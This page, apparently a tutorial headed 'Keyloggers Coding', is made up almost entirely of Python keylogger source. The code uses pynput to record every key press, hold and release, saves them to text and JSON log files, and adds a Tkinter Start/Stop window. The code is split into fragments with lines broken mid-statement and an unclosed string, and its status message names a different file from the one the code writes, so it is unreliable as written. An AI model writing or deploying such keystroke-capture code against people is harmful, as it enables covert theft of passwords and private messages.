

## Keyloggers Coding

```
import tkinter as tk
from tkinter import *
from pynput import keyboard
import json

keys_used = []
flag = False
keys = ""

def generate_text_log(key):
    with open('key_log.txt', "w+") as keys:
        keys.write(key)

def generate_json_file(keys_used):
```

```
with open('key_log.json', '+wb') as key_log:

    key_list_bytes =
    json.dumps(keys_used).encode()

    key_log.write(key_list_bytes)
```

```
def on_press(key):

    global flag, keys_used, keys

    if flag == False:

        keys_used.append(

            {'Pressed': f'{key}'}

        )

        flag = True


    if flag == True:

        keys_used.append(

            {'Held': f'{key}'}

        )
```

```
generate_json_file(keys_used)
```

```
def on_release(key):  
    global flag, keys_used, keys  
    keys_used.append(  
        {'Released': f'{key}'}  
    )  
  
    if flag == True:  
        flag = False  
        generate_json_file(keys_used)  
  
    keys = keys + str(key)  
    generate_text_log(str(keys))
```

```
def start_keylogger():  
    global listener  
  
    listener =  
    keyboard.Listener(on_press=on_press,  
on_release=on_release)  
  
    listener.start()  
  
    label.config(text="[+] Keylogger is running!\n[!]  
Saving the keys in 'keylogger.txt')  
  
    start_button.config(state='disabled')  
    stop_button.config(state='normal')  
  
def stop_keylogger():  
    global listener  
  
    listener.stop()  
  
    label.config(text="Keylogger stopped.")  
    start_button.config(state='normal')  
    stop_button.config(state='disabled')
```

```
root = Tk()
```

```
root.title("Keylogger")
```

```
label = Label(root, text='Click "Start" to begin  
keylogging.')
```

```
label.config(anchor=CENTER)
```

```
label.pack()
```

```
start_button = Button(root, text="Start",  
command=start_keylogger)
```

```
start_button.pack(side=LEFT)
```

```
stop_button = Button(root, text="Stop",  
command=stop_keylogger, state='disabled')
```

```
stop_button.pack(side=RIGHT)
```

```
root.geometry("250x250")
```

```
root.mainloop()
```